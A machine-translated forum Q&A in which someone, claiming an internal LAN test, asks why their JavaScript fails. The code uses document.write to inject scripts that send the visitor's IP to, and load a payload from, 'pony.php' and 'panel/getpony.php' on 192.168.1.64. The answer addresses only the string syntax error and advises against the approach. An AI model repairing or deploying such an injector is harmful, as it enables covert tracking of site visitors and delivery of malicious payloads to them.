Javascript格式错误
Javascript formatting error?
感谢您花时间阅读并帮助我。
我正在尝试进行内部局域网测试,但我真的不喜欢javascript,这可以解释为什么我的代码不起作用。
有人知道出了什么问题吗?我想我的格式在哪里。
function pentest()
{
x = document.getElementById("pentestpayload");
if (x == null)
{
document.write ( " <script>function getip(json) {
document.write('<script type='''"application/javascript'''"
src='''"http://192.168.1.64:1000/pony.php?id=''+
json.ip + '''''"></scr''+''ipt>');
};</script>
");
document.write("<script id='pentestpayload' type='application/javascript'
src='http://192.168.1.64:1001/panel/getpony.php?pony=getpony'></script>");
}
}
pentest();
firebug在javascript控制台中给出以下错误:
SyntaxError: unterminated string literal
document.write ( " <script>function getip(json) { document.write('<script typ
test.js (line 7, col 17)`
document.write ( " <script>function getip(json) {
应该是
document.write ( " <script>function getip(json) { ");
因为您没有用结束字符串的"
和结束函数的)
来结束函数document.write()
。
但这也是错误的,你最可能想要的是如何制作一个多行字符串,你可以像一样格式化
"myString '
that keeps on rocking"
但是,你试图做的事情并不是真正的最佳,总体上应该避免。
相关文章:
- Datetime格式为Friendly Time.Moment JS输出错误
- ui网格日期单元格过滤器,过滤日期格式导致显示错误的日期
- 如何在不创建格式错误的HTML标记的情况下分解字符串
- 在fabric.js中以PNG格式下载Canvas,给出网络错误
- 错误:格式为整数的 javascript 键无效
- JSON字符串格式错误
- AngularJS或JQuery解析错误格式的JSON(http get)
- Ckeditor出现格式错误的html问题
- 如何用x射线刮除格式错误的HTML代码
- php中的日期格式给出了错误的结果
- 阻止Google Chrome更正格式错误的HTML脚本
- 谷歌分析实验导致格式良好的字符数据或标记错误
- Microsoft JScript运行时错误:只能注册格式正确的脚本标记
- 使用RegEx在javascript中重写格式错误的日期yyyy-MM-d到yyyy-MM-dd
- Javascript/JSON 错误:格式不正确
- 自定义错误格式
- "XML解析错误:格式不正确“;在斐波那契数生成中
- 使用PHP更新后,在数据库中插入错误格式的日期
- jQuery AJAX从文件中检索SVG -错误:'格式不佳'
- Vim错误格式多行字符串